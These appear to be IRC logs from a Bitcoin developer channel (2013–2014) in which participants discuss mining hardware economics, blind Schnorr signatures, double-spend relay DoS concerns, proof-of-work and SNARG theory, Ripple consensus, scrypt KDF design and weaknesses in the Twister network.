15:37 < petertodd> adam3us: they have a record of shipping late, but given that I work in the hardware industry I have a lot of symapthy for that :P
15:37 < adam3us> petertodd: well its getting longer term by the day thats for sure
15:37 < petertodd> adam3us: yup, right now 64nm has a payback time of ~1 year
15:37 < Luke-Jr> adam3us: 1 time does not make a record
15:37 < adam3us> petertodd: eg maybe i think it would've paid itself in a month at beginning i dont even know ok 1 year thats long
15:37 < Luke-Jr> unless we're talking in terms of "world record"
15:38 < adam3us> luke-jr: didnt they do that several times? their previous gen people were bitching about too?
15:38 < Luke-Jr> 1 year isn't long for most things
15:38 < Luke-Jr> adam3us: they've always been late, but not 6 months
15:38 < petertodd> adam3us: probably longer in practice. Which FWIW is still very good for most businesses, it's jut not the crazy profitability people are used too.
15:38 < Luke-Jr> adam3us: FPGA minirig was only like 1-3 weeks IIRC
15:38 < Luke-Jr> FPGA singles were a month or two IIRC
15:38 < adam3us> well i orered 17 mar the 50GH singles
15:38 < adam3us> and i havent seen it yet
15:39 < Luke-Jr> yeah, not doubting they screwed up big time with SC
15:39 < Luke-Jr> I'd expect a few weeks for Monarch personally
15:39 < adam3us> no sorry 17 april
15:39 < Luke-Jr> (late)
15:40 < adam3us> luke-jr: they said end of year, that might be ok
15:41 < petertodd> adam3us: oh, I ordered hardware in early march, so you're going to get that soon... but even then I'd still consder going to 28nm
15:41 < petertodd> adam3us: depends on what your cost structure is; I value quiet energy efficient hardware
15:42 < petertodd> Also, I'm not in it expecting to make money... mainly I have hardware because it's useful at times.
15:42 < adam3us> petertodd: their own page is even self-contradictory "However, we aren't shipping anytime soon. This is a Pre-Order product, so if you're uncomfortable waiting an indeterminate length of time for the final phase, do NOT pre-order this product. With that in mind, our current schedule is on track for shippments to begin towards end of year. " and higher up "jan/feb 2014"
15:43 < adam3us> petertodd: i figure for 6mo of the year you're gonna need a space heater anyway in canada, and your electricity is cheap also
15:43 < petertodd> adam3us: just means they don't have the units built and ready to ship - shit happens!
15:44 < petertodd> adam3us: exactly, and my parents live in the far north where the heating season is 8 months of the year
08:22 < jtimon> but they can just use a simple timestamping server that functionally acts as blind signer for the commit
08:23 < adam3us> jtimon: so it seems to me you can use chaum blind cert to have the issuer create you a issuer blind but transferable proof, and traceable proof
08:23 < jtimon> I was under the impression that you couldn't transfer chaumian cash conditionally, but since I was confusing chaumian cash with blind mac...no I'm notsure
08:25 < jtimon> also fellowtraveller confirmed me jsut that: you cannot atomically trade assets in different servers
08:26 < adam3us> jtimon: the mechanism bitcoin is using to generalize a signature into a script is to augment the verification step in a way that is hashed into the sending address
08:27 < adam3us> jtimon: as the issuer doesnt even see your sending address during the issue process it can be whatever you wish
08:27 < adam3us> jtimon: rather than H(Q) it could be H(y=H(x) and ECDSA(Q))
08:28 < adam3us> jtimon: and i presume your atomic method uses some script referring to cross chain activities that the verifier must monitor
08:29 < jtimon> yes, or just conditional to a centralized timestamper that signs the hash of the tx before expiry
08:29 < adam3us> jtimon: well i think OT does not include an external timestamp maybe it is possible but they did not so far try to explore in that area
08:29 < adam3us> jtimon: so then yes i dont see that a certified blind sig is any differnt other than there is no coinbase issue, just issuer issue
08:30 < adam3us> jtimon: and the issuer issue is verified by checking the bldin certificate signature (and the signature made by the certified key on the transaction)
08:31 < jtimon> and this could be all implemented in a pow chain, no?
08:31 < adam3us> jtimon: after its transfered normal block chain rules apply, unless you aim to refresh the blinding by refresh (redeem and immediately reiussue)
08:31 < adam3us> jtimon: i think so
08:31 < adam3us> jtimon: why schnorr blind sig is interesting is that can even use bitcoin style keys with the same curves
08:32 < adam3us> jtimon: i didnt find an efficient simple ecdsa (there is a moderately efficient but ridiculously complex and experimental grade crypto assuption method involving homomorphic additinon in damgard-jurik extnesion to paillier but i would not touch that)
08:33 < adam3us> jtimon: blind schnorr cetificate is basically brands certificate with 0 attributes
08:35 < adam3us> jtimon: btw p5 and p6 give the chaum and schnorr blind sig
08:35 < adam3us> http://www.di.ens.fr/~pointche/Documents/Slides/1996_asiacrypt.pdf
08:36 < adam3us> jtimon: i think EC schnorr is probably preferable for size, security etc and compatibility with bitcoin while still a simple protocol with no hard to implement crypto
08:36 < adam3us> jtimon: eg you need 3072 bit blind RSA for same security as 256-bit blind EC schnorr
08:38 < adam3us> jtimon: also i propose generally bitcoin should add schnorr as a new signature type, because it has many flexibility, space and performance improvements in addition to supporting simple blinding where ECDSA does none of those things
08:39 < jtimon> so functionally this would allow secure off-chain transfers in adition to in-chain conditional transfers, no?
08:40 < adam3us> jtimon: i think it should allow everything you can do with non-blind sigs, though i am not sure how the security of your off-chain transfer works
08:41 < adam3us> jtimon: btw with brands credentials you can do "secure" offline transaction even (where the double spender is later detected and loses their anonymity) probably of limited use in a "trust no one" model but interesting property
08:42 < jtimon> in freimarkets off-chain transfers are just transfers in "private chains", you have to trust the accountant
08:42 < adam3us> jtimon: guess it should work then. is the issuer also the accountant/transaction server?
08:43 < jtimon> if you trade assets in different private servers, you make the whole transaction conditional to a 3rd party centralized timestamp or to a transaction in a public chain before block Exp
08:43 < adam3us> jtimon: makes sense
08:46 < jtimon> I definetely need to study chaumian cash better
08:46 < jtimon> thank you
08:46 < jtimon> I'm going to eat now
08:47 < adam3us> try out the credlib library
08:47 < adam3us> the api is optimized for simplicity
08:47 < adam3us> there is an example program
08:47 < adam3us> using either chaum or brands
08:48 < adam3us> think of blind schnorr as basically brands with 0 attributes
08:48 < adam3us> http://www.cypherspace.org/credlib/
09:01 < adam3us> btw i lied and it seems i didnt actually get around to implement chaum credential support in credlib, though i was thinking of it, its been a few years since i worked on it so forgot status -- you need to replace the serial in libchaum.c with hash of your public key, or script hash
09:03 < adam3us> there are chaum signatures/cash but not chaum credential (were you can sign with the key certified in the credential) see above change
12:12 < michagogo|cloud> 01:49:09 <gmaxwell> (the closest I could find was ILS but it was fixed to the israel lira, which was fixed to the ukp, which was fixed to the usd (!), which was previously fixed to gold)
12:12 < michagogo|cloud> IIRC, it's slightly more complicated -- you had the Lira, which started as fixed to the GBP, but was unfixed at some point, then that became the Shekel, 10 Liras to 1 Shekel, and then the Shekel became the New Shekel, usually referred to as NIS here in Israel, but the currency code (ISO?) is ILS
12:13 < michagogo|cloud> 04:39:54 <gmaxwell> what a mess.. you hardware fractionalized and sold to people with no control over it.. who then mine at a single enormous pool which is full of these miners that can't vote with their feet.
12:13 < michagogo|cloud> IIRC, they can sort of vote with their feet -- I think I remember reading that if you have a certain number of GH/s credits on cex.io, you can "redeem" them and they'll ship you an equivalent miner
12:13 < michagogo|cloud> 05:21:57 <petertodd> double-spend warnings are going to make this really interesting given that gavin's planning on implementing them by broadcasting the whole tx
12:13 < michagogo|cloud> Hmm, I hadn't heard about that -- where can I find more information?
12:15 < petertodd> michagogo|cloud: IRC logs
12:15 < petertodd> #bitcoin-dev IIRC
12:15 < michagogo|cloud> Got a timestamp?
12:15 < michagogo|cloud> Well, if not -dev, then no accessible-to-me logs
12:16 < sipa> i think it was here
12:17 < petertodd> #bitcoin-wizards actually, 13-11-01
12:17 < michagogo|cloud> In that case, there aren't public logs
12:17 < michagogo|cloud> (or, shouldn't be according to freenode policy, since there's no link in the topic or join message)
12:18 < petertodd> well anyway, it's not rocket surgery: to prove a double-spend you have to relay the whole tx, so gavin wants to add code to relay the first double-spend seen for every tx in the mempool
12:19 < petertodd> ...which makes bandwidth DoS attacks hundreds of times cheaper in the best case
12:20 < michagogo|cloud> Hmm? Hundreds of times?
12:20 < michagogo|cloud> Why not twice?
12:20 * michagogo|cloud is sure he's overlooking something
12:20 < petertodd> yup, basically the double-spend could be a 100K transaction, while the original was just ~200 bytes or something
12:20 < sipa> and you only pay for the one that gets merged
12:20 < michagogo|cloud> Oh, right
12:20 < michagogo|cloud> of course.
12:21 < petertodd> yup. Beats me why gavin doesn't understand that, but whatever.
12:21 < michagogo|cloud> What are his counter-arguments?
12:21 < petertodd> He didn't have any.
12:21 < michagogo|cloud> Also: I assume he'd leave the "mine the first one you saw" rule?
12:21 < petertodd> yup
12:21 < petertodd> anyway, what's nifty about that, is it makes adopting replace-by-fee really easy for miners - no need to find peers that use that rule
12:22 < petertodd> heck, because the double-spend will be checked fully, the singaturs might even be in the sigcache...
12:22 < michagogo|cloud> What's the sigcache?
12:23 < petertodd> just a cache of checked signatures - makes tx validation, and hence block validation, go faster
12:23 < michagogo|cloud> And yeah, sure -- there are plenty of reasons that relaying double-spends would be a good thing
12:24 < petertodd> I'm pretty dubious about the DoS potential - lots of fun things you could do with strategically slowing down propagation.
12:24 < michagogo|cloud> Ah, so if a transaction is relayed, the sig will be cached as valid, so that when it makes it into a block the sig won't need to be verified again?
12:24 < petertodd> Equally though, if you reducethe priority of double-spend notifications, then you can DoS to get away with a double-spend...
12:24 < petertodd> michagogo|cloud: correct
12:25 < michagogo|cloud> Yeah, the DoS is definitely problematic -- what about restricting the size of the double-spend relative to the original?
12:25 < michagogo|cloud> Or the fee, or the fee/kB?
12:25 < petertodd> The only way to do that is to restrict the size of transctions in general.
12:26 < petertodd> If you restrict by fee, then the value of the notification is lost. (unless miners adopt replace-by-fee semantics!)
12:26 < michagogo|cloud> What's wrong with "don't relay a double-spend more than X times the size of the original"?
12:26 < michagogo|cloud> Oh, I see
12:26 < petertodd> heh
12:26 < michagogo|cloud> I was just thinking about it in terms of replace-by-fee
12:26 < petertodd> Reality is, zero-conf is dangerous and we're stupid to try to do anything about that.
12:26 < michagogo|cloud> Right, there's also the "warn the merchant" use case
12:27 < michagogo|cloud> I disagree with the last part
12:27 < petertodd> Now see, *with* replace-by-fee it does make sense to relay double-spends with identical fee-per-kb to warn merchants, but that's it.
12:27 < petertodd> (that lets them use scorched-earth properly)
16:30 < amiller> in fact if the input space is bounded, as is the case with bitcoin, there's a nonzero chance that there's *no solution* and the blocks are jammed
16:31 < amiller> this doesn't matter because there's less chance of that happening than finding a collision
16:31 < amiller> a design requirement it's important that the nonce + merkle root range is sufficiently large that is very unlikely to happen
16:33 < amiller> this basically just fits into my point that there's no existing definition for "proof-of-work" that actually describes what's important for bitcoin
16:34 < amiller> the more important point is that if t is the number of steps needed to find a solution with probability 1 or nearly 1 or whatever, even taking just a small number steps should give you a solution with approximately probability 1/t
16:34 < amiller> that's the main thing that's obviously essential for bitcoin and *isn't even close* to part of anyones definition of proof-of-work
16:36 < gmaxwell> its interesting that you mention it, there was a nice argument with adam back on the forum where he was arguing that bitcoin should be using a proof of work scheme which had cumulative small work
16:37 < gmaxwell> and people arguing that it wouldn't work for bitcoin, basically because it actually broke up the stochastic lottery behavior and that we actually need it.
16:40 < amiller> yeah, there's lots of papers with "perfect proof of work" puzzles that take exactly t units to solve and any less has zero chance of success, and that's obviously no good
16:40 < amiller> it shouldn't be hard to modify the definition so that it's like
16:41 < amiller> you put in t units of work, you get.... well the equivalent of t lotto chances, binomial distribution, whatever
16:41 < amiller> subdivided down to whatever asymptotically small little chunk
--- Log closed Sat Sep 21 00:00:01 2013
--- Log opened Sat Sep 21 00:00:01 2013
16:37 < gmaxwell> http://www.smbc-comics.com/?id=3119#comic "Use one-time signatures"
17:41 < gmaxwell> amiller: Can you help me understand why these extractability assumptions are required for 1-round and public verifier NP argument systems? Why is it not sufficient to just argue that compromising these systems requires finding a collision for the one way hashes (for public verifyable, and PIR 1 round) or breaking the PIR privacy (for the PIR ones).
17:42 < amiller> gmaxwell, the extractibility argument is the only commonly-accepted way of defining what it means to "find" a collision
17:42 < amiller> the point is that it rules out obfuscation
17:43 < amiller> if you could obfuscate the hash function then you could do something that's "like" finding a hash collision, but the hash collision is hidden, and since it's obfuscated you can't get it out, so is it really even there
17:47 < gmaxwell> I guess I'm missing how it connects. Say I have a PCP system for my NP language which is complete, and with X queries is exponentially unlikely to accept falsely. I construct a hash tree over it, and I use the hashroot to select a random verifier. Which runs, checks its X points and accepts. So this should be computationally sound for some X, as the
prover would have to do retries exponential in X to get false acceptance.
17:48 < gmaxwell> So I don't see where I need to invoke anything stronger than the collission resistance of the hash function to make this work.
17:51 < gmaxwell> (also, as an aside, I don't really get the focus on deletgated computation: any of these schemes have a effort blowup of far beyond 2x for the prover, if I don't trust my cloud provider I can just run my computation N times on N providers. :P all the real applications I can think of for designated validator don't really need succinctness in the
validation. ... succinctness is interesting in the publicly verified cases simply ...
17:51 < gmaxwell> ... because the verification will be done many times)
18:16 < amiller> gmaxwell, i'm pretty sure there are some pcp schemes for NP that are 1 round and only rely on collision resistance, and aren't succinct
18:17 < amiller> hm, i'm not sure actually, maybe that's not possible except with 2 rounds
18:17 < amiller> i know that a big thing in this area are the impossibility proofs that show that something like an extractibility assumption has to exist
18:18 < gmaxwell> Yes, I've seen that mentioned but don't understand why. A bunch of stuff is also about the PIR-based 1-round systems, which I don't give a shit about because they're designated verifier. (though I think the idea of using PIR to do compression of a PCP is pretty cool)
18:19 < gmaxwell> amiller: but intutively, you have some PCP system where X random queries on it make it sound. You commit to it. Then the verifier does his X random queries checking the hashtree to make sure the prover can't adapt. There you have a sound two round system.
18:21 < gmaxwell> If you replace the verifier's randomness with some function on the hash root, then a cheating prover can only reduce the soundness by whatever amount he can iterate, assuming the hash function is strong. And since the PCP system's soundness is exponential in the number of queries, adding a few more quries should be enough to achieve soundness against a
computationally bounded prover.
18:21 < gmaxwell> So obviously I'm missing something but I'm not sure what.
18:24 < gmaxwell> Wading through papers is somewhat slow because I don't have a huge background in this field, and because I don't care about the succinct designated verifier stuff much, and it's like 3/4 of the papers. (since for bitcoin we either need public verification (e.g. for script or for bitcoin itself), or
for things like my contingent payment protocol, we can
have a designated verifier, but we don't care if its succinct)
18:25 < warren> I didn't vote in the election yet.
18:25 < warren> Any thoughts?
18:33 < amiller> you really need succinct public verification don't you
18:34 < amiller> i mean, designated verifier is almost always easier
18:36 < gmaxwell> Right. We need reasonably succinct public verification (secure against verifier oracle, in particular, though if push came to shove we can do a quasi-two-round public verification) for using this stuff for script, or for validating bitcoin itself.
18:37 < gmaxwell> (quasi-two-round: in some schemes we could reduce the size for a given soundness by using future block hashes for a committed proof to throw away part of the proof)
18:39 < gmaxwell> And yea, designated verifier is easier. I was just commenting that for the applications I have for designated verifier, I don't really give a crap about succinctness, except in so far that succinctness also seems to make it easier to be confident about zero knoweldge for the cases where that matters. I think the whole delegated computing idea is kinda dull.
18:40 < gmaxwell> warren: did you listen to / read the debate with the finalists?
18:41 < warren> gmaxwell: I missed that, searching
18:42 < amiller> gmaxwell, well this is the paper associated with that impossibility proof http://eprint.iacr.org/2010/610.pdf
18:42 < amiller> i don't understand it at any deep level though
18:43 < petertodd> gmaxwell: re: wealth: just make sure you use the right isotope
18:43 < gmaxwell> amiller: ah, thank you!
18:43 < gmaxwell> I note right away:
18:43 < gmaxwell> "The work of [Mic94] showed that such arguments can also be made fully non-interactive in the random-oracle
18:43 < gmaxwell> model. However, this leaves the question whether succinct non-interactive arguments (SNARGs) may exist in the standard
18:43 < gmaxwell> model."
18:44 < gmaxwell> Mic94 is the one that described the PCP scheme above where the commitment is the verifiers randomness. What a slog of a read that paper is.. its like 30 pages just to get to that simple system. :P
18:44 < gmaxwell> So perhaps this is all just not wanting to depend on the random-oracle model? pfft.
18:44 < amiller> yes definitely
18:44 < amiller> okay so the extractibility stuff
18:44 < amiller> is strictly weaker than a random oracle
18:45 < amiller> collision resistant hash -> extractable hash -> random oracle
18:46 < gmaxwell> Considering that pratically all digital signature algorithims in industry deployment have proofs that depend on random oracle,
though ones that don't exist
I am suddenly less concerned.
18:46 < amiller> the hope is that something like extractability is a more limited assumption and maybe somethings atisfies it
18:47 < amiller> so when it comes to building security proofs of these things
18:47 < amiller> basically if you know a thing is extractable
18:48 < gmaxwell> I've read the paper that shows that things which are sematically secure under random oracle are not necessarily secure under _any_ realizable scheme but I felt it was pretty contrived. I guess the thing that I was missing was just that extractable was supposted to be a more limited assumption than random oracle.
18:48 < amiller> then you get to say, suppose any arbitrary adversary produces a valid proof, then i can run an extractor on that adversary that produces the actual hash collision, and that extractor is only polynomially than the original adversary itself
18:48 < amiller> for a proof with the random oracle, you basically get to look at the oracle queries directly
18:50 < amiller> so logically it's almost as good, except that the extractor can get really big if you apply extractability over and over again to work backwards
18:50 < amiller> so extractability sucks, basically
18:50 < amiller> it's the worst of both worlds
18:50 < amiller> it turns what would be simple in the random oracle world into a really frustrating counting argument that doesn't seem to even increase security
18:51 < amiller> but it's still a really strong assumption anyway and non-falsifiable etc etc
18:54 < gmaxwell> amiller: thanks. Okay, I both understand this better now, and realize that I previously understood more of it than I thought.
19:50 < gmaxwell> Hm. I wonder if it's possible to get mintchip to do a hashlocked transaction.
19:50 < gmaxwell> If it could you could do secure btc/mintchip.
19:52 < phantomcircuit> gmaxwell, secure ish
19:53 < gmaxwell> well unless it could do timelock you'd have holdup risk.
23:27 < gmaxwell> In which I attempt a trustlessness smackdown: https://bitcointalk.org/index.php?topic=355016.msg3802226#msg3802226
--- Log closed Tue Dec 03 00:00:27 2013
--- Log opened Tue Dec 03 00:00:27 2013
00:08 < cork2> hey
00:15 < cork2> o________0
00:17 < Mike_B> gmaxwell: that's a very good post
00:25 < cork2> so how do I go about integrating a simple game to make a new alt coin
00:25 < Mike_B> has anyone in here looked carefully at the ripple architecture?
00:25 < Mike_B> i'm very interested in how consensus works vs proof of work
00:25 < Mike_B> i'm curious if it's possible to come up with the same sort of system but that doesn't require XRP and all that
00:29 < pigeons> Mike_B: probably not. The knock I've seen from people like amiller is that it may not work despite XRP
00:29 < pigeons> XRP is just a anti-abuse mechanism, not a part of the ripple consensus process
00:30 < Mike_B> well, a few things
00:30 < amiller> i've started trying to give ripple a thorough analysis with sample code experiments and such
00:30 < Mike_B> 1) i'm trying to figure out if XRP is really necessary to prevent abuse in the consensus process. i doubt it; seems likes they shoehorned it in
00:30 < Mike_B> 2) are you saying consensus itself is broken? if so, how?
00:31 < pigeons> its not to prevent abuse in the consensus process, its to prevent abuse of shared resources like ledger space and transaction capactiy
00:31 < amiller> i'm really sure the consensus system is broken and totally preposterous
00:32 < amiller> it's not so much that it's broken, but that it only works under exteremely optimistic conditions, which specifically amount in this case to "everyone uses the official validators list"
00:33 < gwillen> I am not sure sure the consensus system is preposterous
00:33 < gmaxwell> Mike_B: https://bitcointalk.org/index.php?topic=144471.0
00:33 < gwillen> but it's not clear they will ever switch to using the consensus system
00:33 < gwillen> from what they have right now, which is purely centralized
00:34 < amiller> they are "using" the consensus system
00:34 < amiller> it's implemented in their code, they're running the code
00:34 < gmaxwell> Mike_B: read more than just the intial message
I answered my own question and had a nice debate about their consensus system with one of their main developers.
00:34 < gwillen> can we just come up with a scheme to merge-mine an old-ripple-like consensus system into bitcoin
00:34 < gwillen> and then use that to kill off new-ripple by outcompeting it
00:34 < gmaxwell> gwillen: there is no need to have a consensus system for ripple!
00:34 < gwillen> er, old-ripple-like system, rather
00:34 < amiller> gwillen, that sounds reasonable to me
00:34 < gmaxwell> that was part of the attraction, the need for consensus was minimal to none.
00:34 < Mike_B> pigeons: how does bitcoin not have the same issue? transaction fees? i don't understand that
00:35 < amiller> gwillen, that's essentially what "Freimarkets" is
00:35 < gwillen> gmaxwell: well, the old ripple was purely centralized
00:35 < Mike_B> gmaxwell: thanks, i'll read
00:35 < gwillen> gmaxwell: I guess it's true that you do only need local knowledge of balances for the most part
00:35 < gwillen> gmaxwell: so you should be able to design a system that doesn't need centralization or consensus
00:35 < gmaxwell> gwillen: right, route finding doesn't need to be consistent, and the actual transaction only needs to involve the involved parties.
00:35 < gwillen> hmmm.
00:36 < gwillen> you do sort of want the actual transaciton to be atomic
00:36 < amiller> i don't think you're right about the transaction only involving the involved prties
00:36 < gwillen> that might require some sort of commitment mechanism
00:36 < pigeons> gwillen: the ideas like that were here http://archive.ripple-project.org/Protocol/Protocol?from=Protocol.Index
00:36 < gwillen> if you don't care about atomicity then it doesn't really need one
00:36 < amiller> the whole point is you can change the ledgers of people who aren't online
00:36 < gmaxwell> gwillen: yes, the atomic kill is the complicated part.
00:36 < gmaxwell> amiller: then you could still have distributed 'proxies' who can play your role when you are not online, but again
without requring a global consensus.
00:37 < amiller> i'm pretty sure there's a good use for global (or at least somewhat larger scale) consensus even with that but what you're suggesting is still reasonable for the most part
00:37 < gmaxwell> gwillen: the atomic part is being able to unwind a transaction which has only partially completed.
00:38 < gmaxwell> amiller: I'm not saying you couldn't add one, but adding one makes scaling fundimentally harder. Global consensus should be avoided where its at all possible to do so.
00:39 < gmaxwell> gwillen: e.g. you're flowing credit alice -> bob -> carol -> sue and before it's established carol goes offline. And now you need to unwind the alice -> bob reservation in order to setup a new path to sue.
00:41 < gwillen> gmaxwell: I guess you don't really need any atomic primitives for that.
00:41 < gwillen> local atomicity of operations on the links is fine
00:43 < pigeons> aw too bad jtimon isnt on at the moment, he had an intersting proposal for ripple transaction processing "2 phase commit model" or something
00:43 < gmaxwell> gwillen: it's somewhat tricky. So you're tearing down alice -> bob but then carol comes back online
00:44 < gmaxwell> It's solvable, I mean if its solvable globally its certantly solvable locally.
00:44 < gwillen> gmaxwell: at any given moment there is some participant who is 'furthest along' in the chain, and they know whether they are currently setting up or aborting
00:44 < gwillen> so it seems pretty doable
00:44 < amiller> i think that's a really bad solution
00:44 < amiller> i guess someone should implement it that way first, at least it's decentralized
00:45 < gmaxwell> Having to back it out the opposite way is somewhat inefficient.
00:45 < amiller> you basically get all your liquidity tied up in trades that aren't likely to complete
00:45 < gmaxwell> But yea, workable.
00:45 < Mike_B> phew, this is a very large thread
00:45 < gwillen> but yeah, offline functioning would be nice
00:45 < amiller> you also get people able to lie when they offer exchanges
00:45 < Mike_B> i'll read the whole thing before asking more questions
00:45 < gwillen> and since we have this distributed consensus ledger right here
00:45 < gwillen> seems like we might as well use it ;-)
00:45 < amiller> in other words if i offer to exchange 1 of your IOUs for any 1.5 of someone else's, i shouldn't be able to cause those trades to abort
00:46 < gmaxwell> amiller: hm? you can be reasonably confident that it's likly to compelte.. and if someone lies you should be able to lrove it.
00:46 < amiller> that's the advantage of having the orders committed into the ledger where they can be executed automatically
00:46 < amiller> no way you definitely can't prove it
00:46 < gwillen> yeah, I was mostly thinking of old-ripple
00:46 < gwillen> the trades and stuff in new-ripple require more machinery
00:46 < amiller> old ripple always involved trades
00:46 < amiller> you would set up a willingness to exchange one IOU for another
00:46 < amiller> maybe old ripple never actually had that :/
00:46 < gmaxwell> amiller: yea great, except when there isn't room in the ledger.
00:47 < amiller> you don't necessarily need a huge ledger
00:47 < gmaxwell> amiller: did old ripple have you only do trades against XRP to avoid the N^2 problem? but also thereby letting anyone with a trillion xrp walk away with all the IOUs? :P
00:47 < gwillen> old ripple didn't have XRP, or trades, or currencies
00:48 < amiller> no it didn't, but current ripple actually has that functionality implemented corretly in their api
00:48 < gwillen> under old ripple, everybody issued their own IOUs that were all pegged to USD
00:48 < gwillen> old ripple was more or less entirely unlike new ripple, relaly
00:48 < pigeons> you don't have to trade against XRP in new ripple
00:48 < amiller> whether their web front end presents that to the user is kind of different, and i don't think they made the worng decision tehre necessarily
00:48 < amiller> they've done a thoroughly good job on the api, it's only the *whole underlying consensus mechanism* that doesn't work
00:48 < gmaxwell> pigeons: IIRC when I looked at some of their prerelease code all trade was really against xrp on the backend.
00:49 < pigeons> gmaxwell: it isnt
00:49 < pigeons> i construct my own paths
00:49 < gmaxwell> interesting. Is there actually enough usage of it that thats workable now?
00:50 < pigeons> recently they like to push that "hey you can just trade against XRP so you don't have to worry about all the combinations of pairs" but you can construct paths just as well that dont use XRP, and the pathfinding doesnt give preference to XRP
00:50 < pigeons> well enough usage is kind of subjective, but you can get rather large complicated paths now
00:51 < amiller> pigeons, you should make a walk through of this somehow, like a forum post
00:51 < pigeons> they've improved the server pathfinding engine a lot finsally but you can implenment your own and submit your own paths to be excuted
00:51 < amiller> i don't think anyone else is using it or knows how
00:51 < pigeons> right but then they would do the arbitrage trades i'm doing
00:52 < pigeons> but look at the ripple_path_find api, and kind of chain and brute force it to every issuer the destination accepts
00:52 < pigeons> and every currency code
00:52 < pigeons> let me ask if i can share my friend's custom client with you
19:48 < petertodd> gmaxwell: ah, well that's a better argument come to think of it.
19:49 < petertodd> gmaxwell: although like I say, for the KDF use-case you might as well just make a whole bunch of them, targetted to specific cpu's
19:49 < petertodd> gmaxwell: use whatever one the user happens to have
19:50 < petertodd> gmaxwell: and... might as well make it memory-hard too, and get that extra 20W
19:52 < gmaxwell> petertodd: the premise under scrypt is really two fold: memory technology is uniform decreasing the attackers advantage, and that computers have a lot of gates as memory. Counter arguments are that once you are talking about power memory for a cracker might not be as uniform as thought, and when talking about power a computer doesn't actually have that much memory.
19:54 < petertodd> gmaxwell: yes, I'm not claiming that's a good premise, I'm claiming that in the case of a KDF *because* you have so much algorithm agility (make it a library!) optimal is to use a per-cpu-arch algorithm like your suggestion and make it depend on memory as well
19:54 < petertodd> gmaxwell: which means the salsa20 core in scrypt probably should be replaced by a series of algorithms that do well on simd
19:55 < petertodd> gmaxwell: dunno if you noticed but I did change my mind there :P
19:55 < gmaxwell> yea, sure, I don't think anything I've argued suggests that using memory is terrible, just that it may not be as automatically good as it seemed.
19:55 < petertodd> anyway, my *main* argument is that neither of us knows much about digital logic technology so...
19:56 < gmaxwell> sort of troubling that it seems no one has explored the energy cost angle on this. :-/
19:56 < gmaxwell> would be ironic if the recommended scrypt parameters lowered attack costs.
19:57 < petertodd> meh, wouldn't be the first time
20:46 < phantomcircuit> huh that's interesting
20:46 < phantomcircuit> gmaxwell, i think cex.io moved all their hardware
20:47 < gmaxwell> phantomcircuit: interesting!
22:38 < _ingsoc> Does anyone remember that guy who talked about rewarding miners for putting energy into the grid?
22:45 < justanotheruser> _ingsoc: seems interesting, but not sure how you can prove you put energy into the grid
22:47 < _ingsoc> That was the problem if I remember correctly, needed some physical layer.
--- Log closed Thu Jan 23 00:00:53 2014
--- Log opened Thu Jan 23 00:00:53 2014
04:27 < _ingsoc> So, get a hold of this Ethereum!
04:27 < _ingsoc> Thoughts?
07:32 < gmaxwell> adam3us: schnorr multisignature seems to be naturally sidechannel busting.
07:32 < gmaxwell> adam3us: e.g. you do 2-of-2 with the hardware wallet signing first... and the final R,S could be anything.
07:33 < gmaxwell> and avoids the other complexities with the device knowing what its signing when the signature is blind.
07:33 < adam3us> gmaxwell: yes. i mentioned two variants of the wallet observer thing on https://bitcointalk.org/index.php?topic=428494.new#new
07:34 < adam3us> gmaxwell: the basic one that brands talks about uses blind sig so the wallet has no subliminal channel
07:34 < adam3us> gmaxwell: but using brands ZKP issuing protocol, you can also prove to the wallet what it is blind signing, so it can show it on screen for approval with a hw wallet with screen like trezor, and STILL not have a subliminal channel
07:35 < adam3us> gmaxwell: i'm sure brands covered that somewhere in his thesis, the guy is exhaustively inventive.
07:36 < adam3us> gmaxwell: but yeah the subliminal channel freedom is beautiful thing to have as a building block
07:37 < gmaxwell> adam3us: Right but I believe that a regular 2 of 2 threshold signature has the same sidechannel elimination effect without requring the ZKP proof of what its signing.
07:38 < adam3us> gmaxwell: ah gotcha. yes that appears to be true also :) and nice and simple
07:52 < adam3us> gmaxwell: btw other than adding cc other authors, about the private key issue, another step could be to make an ID / RFC on EdDSA as a complement to the safe curve focused ID that Watson Ladd on IRTF CFRG is doing. i thnk the lowest 3 bits=0 is just a optimization, I dont immediately see why that cant be removed and multiply by 8 somewhere in the verification
relation, and the bit 254 I think is just defensiveness
07:53 < adam3us> gmaxwell: ie bit 254 is not necessary for security, just that the montgomery ladder start at bit 254 whether its 0 or 1 to avoid a timing side-channel. thats all if anyone had time/energy for an RFC process but it would be a natural way to extract feedback from the algorithm authors
12:25 < jtimon> maaku,what if we start with the private chains? http://freicoin.freeforums.org/freimarkets-t717.html#p6913
12:25 < jtimon> not sure if wrong forum or not...I'll say the same on #freicoin just in case
14:12 < petertodd> lol twister: https://groups.google.com/d/msg/twister-dev/h2ukT1msggc/Jbh-UPYPGiIJ
14:12 < petertodd> "May someone suggest a good free captcha generator for text that is OCR
14:12 < petertodd> resistant?"
14:12 < petertodd> apparently they have a namesquatting problem...
14:13 < petertodd> they also have implemented ripple-style soft-consensus to prevent rewrite attacks
14:13 < gmaxwell> uh.. how does that work with anonymous participation?
14:14 < petertodd> good question!
14:14 < petertodd> that's the lead dev suggesting that!
14:15 < petertodd> they don't even use namecoin-style two-stage commit-reveal, so an attacker can watch the network for new name registrations and register all new names for themselves
14:15 < gmaxwell> lol
14:16 < Luke-Jr> facepalm
14:16 < petertodd> I almost want to fire up some ec2 instances and 51% the network with empty blocks just to see how they'll react - it's a social experiment at this point
14:17 < Luke-Jr> I think I like how with namecoin, if two people register the same name concurrently, both lose their coins ;)
14:17 < gmaxwell> I take it this isn't merged mined?
14:17 < petertodd> gmaxwell: nope
14:17 < gmaxwell> sha256 pow?
14:17 < petertodd> gmaxwell: and they changed the block header so standard scryptminers don't work, but with some effort you can still modify litecoin scrypt miners to mine it
14:18 < gmaxwell> ah. scrypt.
14:18 < petertodd> gmaxwell: they added CBlockHeader.nHeight
14:18 < gmaxwell> and just made the header a bit longer or?
14:18 < petertodd> but they left nVersion=2 and the supermajority code in for nVersion=2!
14:18 < petertodd> gmaxwell: yup
14:18 < gmaxwell> that probably actually won't break the gridseed asics, the work generator is apparently microcoded.
14:18 < petertodd> gmaxwell: I haven't looked into how hard it'd be to adapt a scrypt miner to that
14:19 < petertodd> gmaxwell: oh nice!
14:19 < gmaxwell> (they have an on chip work generator and increment logic which is apparently all microcoded)
14:20 < petertodd> gmaxwell: amir was trying to convince them to just use namecoin
14:21 < gmaxwell> namecoin codebase is nearly unmaintained. :(
14:21 < petertodd> twister codebase is worse than unmaintained
14:23 < gmaxwell> hopefully once scrypt mining asics exist in large enough quantities to have driven everyone off gpu mining people will go back to making merged mined things.
